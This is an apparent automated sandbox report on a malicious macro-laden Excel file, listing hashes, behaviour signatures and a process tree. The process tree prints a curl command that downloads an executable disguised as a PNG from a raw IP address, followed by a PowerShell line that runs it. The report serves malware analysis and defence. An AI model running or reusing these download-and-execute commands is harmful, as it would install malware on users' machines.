Analysis

  • max time kernel
    144s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    27-02-2024 11:17

General

  • Target

    a90431f9c45758117ead6bc503e2591d.xlsm

  • Size

    140KB

  • MD5

    a90431f9c45758117ead6bc503e2591d

  • SHA1

    91a5626d3571679461277d1125a98a6b236387da

  • SHA256

    33d2cd0f3b69219693cc3c0514afac9cbddd0de890107062afdc25102970bf53

  • SHA512

    3ab0376aed52fa7e792ee3309756a864bad624b62a546f665f2b4d44de7fbb8db409e5d4a7d476076be23d182b2730597a04761614fc050bb75eb140b8b9f4d9

  • SSDEEP

    1536:wJxSwIXUJksB977w3mv8fdwLmG9s80okHwjzjoki9cIyhGfaZWDCltHV:oUdkCS7k3XOmT/QzXIWGfaZW+lX

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a90431f9c45758117ead6bc503e2591d.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2196
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe start-sleep 10; $x=$env:AppData+'\QyZcY.exe';Invoke-Expression $x
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1740
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\QyZcY.exe
      2⤵
      • Process spawned unexpected child process
      PID:3044

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1740-7-0x000000006B900000-0x000000006BEAB000-memory.dmp

    Filesize

    5.7MB

  • memory/1740-8-0x000000006B900000-0x000000006BEAB000-memory.dmp

    Filesize

    5.7MB

  • memory/1740-9-0x00000000023A0000-0x00000000023E0000-memory.dmp

    Filesize

    256KB

  • memory/1740-10-0x00000000023A0000-0x00000000023E0000-memory.dmp

    Filesize

    256KB

  • memory/1740-12-0x000000006B900000-0x000000006BEAB000-memory.dmp

    Filesize

    5.7MB

  • memory/2196-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2196-1-0x0000000071D3D000-0x0000000071D48000-memory.dmp

    Filesize

    44KB

  • memory/2196-11-0x0000000071D3D000-0x0000000071D48000-memory.dmp

    Filesize

    44KB